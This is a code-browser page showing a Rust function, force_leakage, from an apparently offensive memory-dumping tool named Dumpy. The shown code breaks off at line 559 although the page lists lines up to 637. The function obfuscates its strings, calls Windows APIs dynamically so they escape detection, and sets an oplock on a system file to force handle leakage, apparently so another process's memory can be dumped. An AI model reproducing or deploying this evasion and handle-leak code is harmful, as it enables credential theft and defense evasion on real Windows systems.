MCPcopy Create free account
hub / github.com/Kudaes/Dumpy / force_leakage

Function force_leakage

dumpy/dumper/src/lib.rs:502–637  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

500}
501
502pub fn force_leakage()
503{
504 unsafe
505 {
506 let mut file: Vec<u16> = lc!("c:\\Windows\\System32\\license.rtf").encode_utf16().collect();
507 file.push(0);
508
509 let k32 = dinvoke::get_module_base_address(&lc!("kernel32.dll"));
510 let create_file: data::CreateFile;
511 let create_file_r: Option<HANDLE>;
512 // 3 = OPEN_EXISTING
513 // 0x40000000 = FILE_FLAG_OVERLAPPED
514 dinvoke::dynamic_invoke!(k32,&lc!("CreateFileW"),create_file,create_file_r,file.as_ptr() as *const u16,GENERIC_READ,0,ptr::null(),3,0x40000000,HANDLE {0: 0});
515
516 let file_handle = create_file_r.unwrap();
517
518 let mut overlapped: OVERLAPPED = OVERLAPPED::default();
519 let create_event: data::CreateEvent;
520 let create_event_r: Option<HANDLE>;
521 dinvoke::dynamic_invoke!(k32,&lc!("CreateEventW"),create_event,create_event_r,ptr::null(),false,false,ptr::null());
522
523 overlapped.event_handle = create_event_r.unwrap();
524
525 let mut input_buffer = REQUEST_OPLOCK_INPUT_BUFFER::default();
526 let mut output_buffer = REQUEST_OPLOCK_OUTPUT_BUFFER::default();
527 input_buffer.structure_version = 1; // REQUEST_OPLOCK_CURRENT_VERSION
528 input_buffer.structure_length = size_of::<REQUEST_OPLOCK_INPUT_BUFFER>() as u16;
529 input_buffer.requested_oplock_level = 0x00000001 | 0x00000002; // OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE
530 input_buffer.flags = 0x00000001; // REQUEST_OPLOCK_INPUT_FLAG_REQUEST
531 output_buffer.structure_version = 1;
532 output_buffer.structure_length = size_of::<REQUEST_OPLOCK_OUTPUT_BUFFER>() as u16;
533 let input: PVOID = std::mem::transmute(&input_buffer);
534 let output: PVOID = std::mem::transmute(&output_buffer);
535 let over: *mut OVERLAPPED = std::mem::transmute(&overlapped);
536 let unsued = 0u32;
537 let bytes_ret: *mut u32 = std::mem::transmute(&unsued);
538 let device_oi_control: data::DeviceIoControl;
539 let _r: Option<BOOL>;
540 let fsctl_request_oplockc = ((0x00000009)<<16) | ((0) <<14) | ((144)<<2) | (0);
541 dinvoke::dynamic_invoke!(k32,&lc!("DeviceIoControl"),device_oi_control,_r,file_handle,fsctl_request_oplockc,input,size_of::<REQUEST_OPLOCK_INPUT_BUFFER>() as u32,
542 output, size_of::<REQUEST_OPLOCK_OUTPUT_BUFFER>() as u32, bytes_ret, over);
543
544
545 let get_last_error: unsafe extern "system" fn () -> u32;
546 let get_last_error_r: Option<u32>;
547 dinvoke::dynamic_invoke!(k32,&lc!("GetLastError"),get_last_error,get_last_error_r,);
548 // 997 = ERROR_IO_PENDING
549 if get_last_error_r.unwrap() != 997
550 {
551 println!("{}",&lc!("[x] Handle leakage failed."));
552 return;
553 }
554
555 thread::spawn(||
556 {
557 let tbi: *mut THREAD_BASIC_INFORMATION;
558 let mut ptr: PVOID;
559 let mut buffer;

Callers 1

dumpFunction · 0.85

Calls 3

get_module_base_addressFunction · 0.85
get_pid_from_image_pathFunction · 0.85

Tested by

no test coverage detected